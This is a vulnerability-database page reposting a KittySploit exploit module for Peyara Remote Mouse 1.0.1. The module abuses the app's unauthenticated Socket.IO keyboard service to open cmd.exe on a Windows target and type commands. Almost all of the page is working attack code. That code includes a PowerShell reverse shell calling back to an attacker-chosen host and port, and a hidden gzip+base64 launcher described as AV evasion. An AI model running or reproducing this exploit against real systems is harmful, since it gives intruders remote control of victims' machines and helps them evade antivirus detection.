Lucene search
+L

Peyara Remote Mouse 1.0.1 unauthenticated keyboard RCE

🗓️ 10 Jul 2026 11:31:42Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 4 Views

Unauthenticated RCE in Peyara Remote Mouse via the Socket.IO WebSocket service.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64
import gzip
import json
import time

import websocket

from kittysploit import *
from lib.protocols.websocket.websocket_client import WebsocketTimeoutException, Websocket_client


class Module(Exploit, Websocket_client):
    __info__ = {
        "name": "Peyara Remote Mouse 1.0.1 unauthenticated keyboard RCE",
        "description": (
            "Peyara Remote Mouse 1.0.1 exposes an unauthenticated Socket.IO WebSocket "
            "service on TCP 1313 that accepts remote keyboard events. This module opens "
            "cmd.exe on the target and types a command payload one keystroke at a time."
        ),
        "author": ["tmrswrr", "KittySploit Team"],
        "platform": Platform.WINDOWS,
        "arch": [Arch.X86, Arch.X64],
        "references": [
            "https://github.com/capture0x/Peyara",
            "https://peyara-remote-mouse.vercel.app/",
        ],
        "tags": [
            "peyara",
            "remote-mouse",
            "socket.io",
            "websocket",
            "keyboard",
            "rce",
            "unauthenticated",
            "windows",
        ],
        "payload": {
            "default": "payloads/singles/cmd/windows/powershell_reverse_tcp",
            "arch": Arch.OTHER,
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.SINGLE,
        },
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 1,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 2.0,
            "noise": 0.8,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["peyara", "remote-mouse", "socket.io"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/windows/gather/system_info",
                    "post/shell/windows/manage/privilege_escalation",
                ],
            },
        },
    }

    _DEFAULT_KEY_DELAY = 0.06
    _DEFAULT_WINDOW_DELAY = 1.0
    _AFFECTED_VERSION = "1.0.1"

    _ENGINEIO_OPEN = "0"
    _ENGINEIO_CLOSE = "1"
    _ENGINEIO_PING = "2"
    _ENGINEIO_PONG = "3"
    _SOCKETIO_CONNECT = "40"
    _SOCKETIO_EVENT = "42"

    port = OptPort(1313, "Peyara Socket.IO port", True)
    ssl = OptBool(False, "Use WSS", True, advanced=True)
    target_uri = OptString("/", "Base path for the Socket.IO endpoint", required=False)
    key_delay = OptFloat(
        _DEFAULT_KEY_DELAY,
        "Delay between keyboard events (seconds)",
        required=False,
        advanced=True,
    )
    window_delay = OptFloat(
        _DEFAULT_WINDOW_DELAY,
        "Delay after opening cmd before typing the payload (seconds)",
        required=False,
        advanced=True,
    )
    connect_retries = OptInteger(
        10,
        "Socket.IO session open retries when target is busy",
        required=False,
        advanced=True,
    )
    retry_delay = OptFloat(
        3.0,
        "Delay between Socket.IO connect retries (seconds)",
        required=False,
        advanced=True,
    )
    gzip_payload = OptBool(
        True,
        "Wrap PowerShell in gzip+base64 launcher (AV evasion; disable for raw payload)",
        required=False,
        advanced=True,
    )
    command = OptString(
        "",
        "Override typed command (defaults to configured payload or lhost/lport reverse shell)",
        required=False,
        advanced=True,
    )

    def _ws_timeout(self) -> float:
        return max(float(self.timeout or 10), 3.0)

    def _key_delay(self) -> float:
        return float(self.key_delay or self._DEFAULT_KEY_DELAY)

    def _window_delay(self) -> float:
        return float(self.window_delay or self._DEFAULT_WINDOW_DELAY)

    def _socket_io_path(self) -> str:
        base = str(self.target_uri or "/").strip() or "/"
        if not base.startswith("/"):
            base = "/" + base
        base = base.rstrip("/")
        if base:
            return f"{base}/socket.io/?EIO=4&transport=websocket"
        return "/socket.io/?EIO=4&transport=websocket"

    def _build_reverse_shell_script(self, lhost: str, lport: int) -> str:
        return (
            f"$c=New-Object System.Net.Sockets.TCPClient('{lhost}',{int(lport)});"
            "$s=$c.GetStream();"
            "[byte[]]$b=0..65535|%{0};"
            "while(($i=$s.Read($b,0,$b.Length)) -ne 0){;"
            "$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);"
            "$r=iex $d 2>&1;"
            "$s.Write((New-Object -TypeName System.Text.ASCIIEncoding).GetBytes($r + 'PS > '),0,($r + 'PS > ').Length)"
            "}"
        )

    def _build_gzip_powershell_launcher(self, script: str) -> str:
        blob = base64.b64encode(gzip.compress(script.encode())).decode()
        return (
            "powershell -nop -w hidden -noni -ep bypass -c "
            '"&([scriptblock]::create((New-Object System.IO.StreamReader('
            "New-Object System.IO.Compression.GzipStream("
            "(New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String("
            f"'{blob}'"
            "))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))\""
        )

    def _maybe_gzip_wrap(self, command: str) -> str:
        if not bool(self.gzip_payload):
            return command
        lowered = command.lower()
        if lowered.startswith("powershell") and "-encodedcommand" in lowered:
            token = command.rsplit(None, 1)[-1]
            try:
                script = base64.b64decode(token).decode("utf-16le")
                return self._build_gzip_powershell_launcher(script)
            except Exception:
                return command
        if lowered.startswith("powershell"):
            return command
        return self._build_gzip_powershell_launcher(command)

    def _resolve_command(self) -> str:
        manual = str(self.command or "").strip()
        if manual:
            return manual

        payload_cmd = str(self.payload or "").strip()
        if payload_cmd:
            return self._maybe_gzip_wrap(payload_cmd)

        lhost = str(self.lhost or "").strip()
        lport = int(self.lport or 0)
        if lhost and lport:
            return self._build_gzip_powershell_launcher(
                self._build_reverse_shell_script(lhost, lport)
            )

        raise ProcedureError(
            FailureType.ConfigurationError,
            "Configure payload, lhost/lport, or command",
        )

    def _recv_text(self) -> str:
        frame = self.ws_recv()
        if frame is None:
            raise WebsocketTimeoutException("WebSocket receive timed out")
        if isinstance(frame, bytes):
            return frame.decode("utf-8", errors="replace")
        return str(frame)

    def _close_session(self) -> None:
        if not self.ws:
            return
        try:
            self.ws_send(self._ENGINEIO_CLOSE)
        except Exception:
            pass
        self.ws_close()

    def _send_event(self, event: str, data) -> None:
        self.ws_send(self._SOCKETIO_EVENT + json.dumps([event, data]))
        time.sleep(self._key_delay())

    def _press_key(self, key: str) -> None:
        self._send_event("key", key)

    def _socketio_connect(self) -> bool:
        self.ws_send(self._SOCKETIO_CONNECT)
        for _ in range(3):
            frame = self._recv_text()
            if frame == self._ENGINEIO_PING:
                self.ws_send(self._ENGINEIO_PONG)
            if frame.startswith(self._SOCKETIO_CONNECT):
                return True
        return False

    def _open_socketio_session(self) -> None:
        retries = int(self.connect_retries or 10)
        delay = float(self.retry_delay or 3.0)
        path = self._socket_io_path()
        last_error = ""

        for attempt in range(1, retries + 1):
            try:
                self.ws_close()
                self.ws_connect(path=path)
                if self.ws:
                    self.ws.settimeout(self._ws_timeout())
                frame = self._recv_text()
                if frame.startswith(self._ENGINEIO_OPEN):
                    return
                self._close_session()
            except Exception as exc:
                last_error = str(exc)
                self._close_session()
            if attempt < retries:
                print_status(f"Target busy, retrying ({attempt}/{retries})...")
                time.sleep(delay)

        raise ProcedureError(
            FailureType.TargetUnreachable,
            last_error or "Could not obtain Engine.IO OPEN frame",
        )

    def _open_command_prompt(self) -> None:
        self._send_event("edit-key", {"key": "escape", "modifier": ["control"]})
        time.sleep(0.5)
        for key in ("c", "m", "d", "enter"):
            self._press_key(key)
        time.sleep(self._window_delay())
        self._press_key("enter")
        time.sleep(0.5)

    def _probe_handshake(self) -> tuple:
        try:
            self.ws_close()
            self.ws_connect(path=self._socket_io_path())
            if self.ws:
                self.ws.settimeout(self._ws_timeout())
            frame = self._recv_text()
            if not frame.startswith(self._ENGINEIO_OPEN):
                return False, False, f"Unexpected first frame: {frame[:80]!r}"
            connected = self._socketio_connect()
            if connected:
                return True, True, "Engine.IO OPEN and Socket.IO namespace connect"
            return True, False, "Engine.IO present but Socket.IO connect not acknowledged"
        except Exception as exc:
            return False, False, str(exc)
        finally:
            self._close_session()

    def _inject_command(self, command: str) -> None:
        try:
            self._open_socketio_session()
            if not self._socketio_connect():
                raise ProcedureError(
                    FailureType.UnexpectedReply,
                    "Socket.IO namespace connect was not acknowledged",
                )

            print_status("Opening command prompt through remote keyboard events")
            self._open_command_prompt()

            print_status(f"Sending payload command ({len(command)} bytes)")
            for char in command:
                self._press_key(char)

            time.sleep(self._window_delay())
            self._press_key("enter")
        finally:
            self._close_session()

    def check(self):
        if not str(self.target or "").strip():
            return {"vulnerable": False, "reason": "target not set", "confidence": "low"}

        engine_io, socket_io, reason = self._probe_handshake()
        if engine_io and socket_io:
            return {
                "vulnerable": True,
                "reason": (
                    f"{reason} on TCP/{int(self.port)} "
                    f"(Peyara Remote Mouse <= {self._AFFECTED_VERSION} likely)"
                ),
                "confidence": "high",
            }
        if engine_io:
            return {
                "vulnerable": True,
                "reason": f"{reason} on TCP/{int(self.port)}",
                "confidence": "medium",
            }
        return {
            "vulnerable": False,
            "reason": reason or "WebSocket handshake failed",
            "confidence": "medium",
        }

    def run(self):
        if not str(self.target or "").strip():
            print_error("Target host is required")
            return False

        try:
            command = self._resolve_command()
        except ProcedureError as exc:
            print_error(str(exc))
            return False

        lhost = str(self.lhost or "").strip()
        lport = int(self.lport or 0)
        if lhost and lport:
            print_info(f"Ensure listener is ready on {lhost}:{lport}")

        print_status(f"Connecting to Socket.IO WebSocket on {self.target}:{int(self.port)}")

        try:
            self._inject_command(command)
        except ProcedureError as exc:
            print_error(str(exc))
            return False
        except websocket.WebSocketException as exc:
            print_error(f"WebSocket connection failed: {exc}")
            return False
        except Exception as exc:
            print_error(f"Exploit failed: {exc}")
            return False

        print_success("Payload typed on target — check your listener for the shell")
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2026 12:42Current
6.1Medium risk
Vulners AI Score6.1
4